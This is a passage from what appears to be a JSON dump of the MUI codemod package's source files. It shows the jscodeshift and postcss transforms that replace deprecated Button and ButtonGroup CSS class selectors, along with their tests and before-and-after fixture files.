.MuiButton-icon\");\n`&.${buttonClasses.text}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.text}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.text}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.text}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.text}.${buttonClasses.colorError}`;\n`&.${buttonClasses.text}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.text}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorError}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorError}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.sizeSmall} > .${buttonClasses.icon}`;\n`&.${buttonClasses.sizeMedium} > .${buttonClasses.icon}`;\n`&.${buttonClasses.sizeLarge} > .${buttonClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/package.actual.js",
    "content": "import { buttonClasses } from '@org/ui/material/Button';\n\n('&.MuiButton-textInherit');\n('&.MuiButton-textPrimary');\n('&.MuiButton-textSecondary');\n('&.MuiButton-textSuccess');\n('&.MuiButton-textError');\n('&.MuiButton-textInfo');\n('&.MuiButton-textWarning');\n('&.MuiButton-outlinedInherit');\n('&.MuiButton-outlinedPrimary');\n('&.MuiButton-outlinedSecondary');\n('&.MuiButton-outlinedSuccess');\n('&.MuiButton-outlinedError');\n('&.MuiButton-outlinedInfo');\n('&.MuiButton-outlinedWarning');\n('&.MuiButton-containedInherit');\n('&.MuiButton-containedPrimary');\n('&.MuiButton-containedSecondary');\n('&.MuiButton-containedSuccess');\n('&.MuiButton-containedError');\n('&.MuiButton-containedInfo');\n('&.MuiButton-containedWarning');\n('&.MuiButton-textSizeSmall');\n('&.MuiButton-textSizeMedium');\n('&.MuiButton-textSizeLarge');\n('&.MuiButton-outlinedSizeSmall');\n('&.MuiButton-outlinedSizeMedium');\n('&.MuiButton-outlinedSizeLarge');\n('&.MuiButton-containedSizeSmall');\n('&.MuiButton-containedSizeMedium');\n('&.MuiButton-containedSizeLarge');\n('& .MuiButton-iconSizeSmall');\n('& .MuiButton-iconSizeMedium');\n('& .MuiButton-iconSizeLarge');\n`&.${buttonClasses.textInherit}`;\n`&.${buttonClasses.textPrimary}`;\n`&.${buttonClasses.textSecondary}`;\n`&.${buttonClasses.textSuccess}`;\n`&.${buttonClasses.textError}`;\n`&.${buttonClasses.textInfo}`;\n`&.${buttonClasses.textWarning}`;\n`&.${buttonClasses.outlinedInherit}`;\n`&.${buttonClasses.outlinedPrimary}`;\n`&.${buttonClasses.outlinedSecondary}`;\n`&.${buttonClasses.outlinedSuccess}`;\n`&.${buttonClasses.outlinedError}`;\n`&.${buttonClasses.outlinedInfo}`;\n`&.${buttonClasses.outlinedWarning}`;\n`&.${buttonClasses.containedInherit}`;\n`&.${buttonClasses.containedPrimary}`;\n`&.${buttonClasses.containedSecondary}`;\n`&.${buttonClasses.containedSuccess}`;\n`&.${buttonClasses.containedError}`;\n`&.${buttonClasses.containedInfo}`;\n`&.${buttonClasses.containedWarning}`;\n`&.${buttonClasses.textSizeSmall}`;\n`&.${buttonClasses.textSizeMedium}`;\n`&.${buttonClasses.textSizeLarge}`;\n`&.${buttonClasses.outlinedSizeSmall}`;\n`&.${buttonClasses.outlinedSizeMedium}`;\n`&.${buttonClasses.outlinedSizeLarge}`;\n`&.${buttonClasses.containedSizeSmall}`;\n`&.${buttonClasses.containedSizeMedium}`;\n`&.${buttonClasses.containedSizeLarge}`;\n`& .${buttonClasses.iconSizeSmall}`;\n`& .${buttonClasses.iconSizeMedium}`;\n`& .${buttonClasses.iconSizeLarge}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/package.expected.js",
    "content": "import { buttonClasses } from '@org/ui/material/Button';\n\n(\"&.MuiButton-text.MuiButton-colorInherit\");\n(\"&.MuiButton-text.MuiButton-colorPrimary\");\n(\"&.MuiButton-text.MuiButton-colorSecondary\");\n(\"&.MuiButton-text.MuiButton-colorSuccess\");\n(\"&.MuiButton-text.MuiButton-colorError\");\n(\"&.MuiButton-text.MuiButton-colorInfo\");\n(\"&.MuiButton-text.MuiButton-colorWarning\");\n(\"&.MuiButton-outlined.MuiButton-colorInherit\");\n(\"&.MuiButton-outlined.MuiButton-colorPrimary\");\n(\"&.MuiButton-outlined.MuiButton-colorSecondary\");\n(\"&.MuiButton-outlined.MuiButton-colorSuccess\");\n(\"&.MuiButton-outlined.MuiButton-colorError\");\n(\"&.MuiButton-outlined.MuiButton-colorInfo\");\n(\"&.MuiButton-outlined.MuiButton-colorWarning\");\n(\"&.MuiButton-contained.MuiButton-colorInherit\");\n(\"&.MuiButton-contained.MuiButton-colorPrimary\");\n(\"&.MuiButton-contained.MuiButton-colorSecondary\");\n(\"&.MuiButton-contained.MuiButton-colorSuccess\");\n(\"&.MuiButton-contained.MuiButton-colorError\");\n(\"&.MuiButton-contained.MuiButton-colorInfo\");\n(\"&.MuiButton-contained.MuiButton-colorWarning\");\n(\"&.MuiButton-text.MuiButton-sizeSmall\");\n(\"&.MuiButton-text.MuiButton-sizeMedium\");\n(\"&.MuiButton-text.MuiButton-sizeLarge\");\n(\"&.MuiButton-outlined.MuiButton-sizeSmall\");\n(\"&.MuiButton-outlined.MuiButton-sizeMedium\");\n(\"&.MuiButton-outlined.MuiButton-sizeLarge\");\n(\"&.MuiButton-contained.MuiButton-sizeSmall\");\n(\"&.MuiButton-contained.MuiButton-sizeMedium\");\n(\"&.MuiButton-contained.MuiButton-sizeLarge\");\n(\"&.MuiButton-sizeSmall > .MuiButton-icon\");\n(\"&.MuiButton-sizeMedium > .MuiButton-icon\");\n(\"&.MuiButton-sizeLarge > .MuiButton-icon\");\n`&.${buttonClasses.text}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.text}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.text}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.text}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.text}.${buttonClasses.colorError}`;\n`&.${buttonClasses.text}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.text}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorError}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.outlined}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorInherit}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorPrimary}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorSecondary}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorSuccess}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorError}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorInfo}`;\n`&.${buttonClasses.contained}.${buttonClasses.colorWarning}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.text}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.outlined}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeSmall}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeMedium}`;\n`&.${buttonClasses.contained}.${buttonClasses.sizeLarge}`;\n`&.${buttonClasses.sizeSmall} > .${buttonClasses.icon}`;\n`&.${buttonClasses.sizeMedium} > .${buttonClasses.icon}`;\n`&.${buttonClasses.sizeLarge} > .${buttonClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/button-group-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/ButtonGroup)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'buttonGroupClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiButtonGroup-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/button-group-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './button-group-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('button-group-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/index.js",
    "content": "export { default } from './button-group-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedHorizontal',\n    replacementSelector: '.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedVertical',\n    replacementSelector: '.MuiButtonGroup-vertical > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedText',\n    replacementSelector: '.MuiButtonGroup-text > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedTextHorizontal',\n    replacementSelector: '.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedTextVertical',\n    replacementSelector: '.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedTextPrimary',\n    replacementSelector:\n      '.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedTextSecondary',\n    replacementSelector:\n      '.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedOutlined',\n    replacementSelector: '.MuiButtonGroup-outlined > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedOutlinedHorizontal',\n    replacementSelector:\n      '.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedOutlinedVertical',\n    replacementSelector:\n      '.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedOutlinedPrimary',\n    replacementSelector:\n      '.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedOutlinedSecondary',\n    replacementSelector:\n      '.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedContained',\n    replacementSelector: '.MuiButtonGroup-contained > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedContainedHorizontal',\n    replacementSelector:\n      '.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedContainedVertical',\n    replacementSelector:\n      '.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedContainedPrimary',\n    replacementSelector:\n      '.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped',\n  },\n  {\n    deprecatedClass: ' .MuiButtonGroup-groupedContainedSecondary',\n    replacementSelector:\n      '.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated ButtonGroup classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/actual.css",
    "content": ".MuiButtonGroup-root .MuiButtonGroup-groupedHorizontal {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedVertical {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedText {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedTextHorizontal {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedTextVertical {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedTextPrimary {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedTextSecondary {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedOutlined {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedHorizontal {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedVertical {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedPrimary {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedOutlinedSecondary {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedContained {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedContainedHorizontal {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedContainedVertical {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedContainedPrimary {\n  color: red;\n}\n\n.MuiButtonGroup-root .MuiButtonGroup-groupedContainedSecondary {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/actual.js",
    "content": "import { buttonGroupClasses } from '@mui/material/ButtonGroup';\n\n('& .MuiButtonGroup-groupedHorizontal');\n('& .MuiButtonGroup-groupedVertical');\n('& .MuiButtonGroup-groupedText');\n('& .MuiButtonGroup-groupedTextHorizontal');\n('& .MuiButtonGroup-groupedTextVertical');\n('& .MuiButtonGroup-groupedTextPrimary');\n('& .MuiButtonGroup-groupedTextSecondary');\n('& .MuiButtonGroup-groupedOutlined');\n('& .MuiButtonGroup-groupedOutlinedHorizontal');\n('& .MuiButtonGroup-groupedOutlinedVertical');\n('& .MuiButtonGroup-groupedOutlinedPrimary');\n('& .MuiButtonGroup-groupedOutlinedSecondary');\n('& .MuiButtonGroup-groupedContained');\n('& .MuiButtonGroup-groupedContainedHorizontal');\n('& .MuiButtonGroup-groupedContainedVertical');\n('& .MuiButtonGroup-groupedContainedPrimary');\n('& .MuiButtonGroup-groupedContainedSecondary');\n`& .${buttonGroupClasses.groupedHorizontal}`;\n`& .${buttonGroupClasses.groupedVertical}`;\n`& .${buttonGroupClasses.groupedText}`;\n`& .${buttonGroupClasses.groupedTextHorizontal}`;\n`& .${buttonGroupClasses.groupedTextVertical}`;\n`& .${buttonGroupClasses.groupedTextPrimary}`;\n`& .${buttonGroupClasses.groupedTextSecondary}`;\n`& .${buttonGroupClasses.groupedOutlined}`;\n`& .${buttonGroupClasses.groupedOutlinedHorizontal}`;\n`& .${buttonGroupClasses.groupedOutlinedVertical}`;\n`& .${buttonGroupClasses.groupedOutlinedPrimary}`;\n`& .${buttonGroupClasses.groupedOutlinedSecondary}`;\n`& .${buttonGroupClasses.groupedContained}`;\n`& .${buttonGroupClasses.groupedContainedHorizontal}`;\n`& .${buttonGroupClasses.groupedContainedVertical}`;\n`& .${buttonGroupClasses.groupedContainedPrimary}`;\n`& .${buttonGroupClasses.groupedContainedSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/expected.css",
    "content": ".MuiButtonGroup-root.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-vertical > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-text > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-outlined > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-contained > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped {\n  color: red;\n}\n\n.MuiButtonGroup-root.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/expected.js",
    "content": "import { buttonGroupClasses } from '@mui/material/ButtonGroup';\n\n(\"&.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n`&.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/package.actual.js",
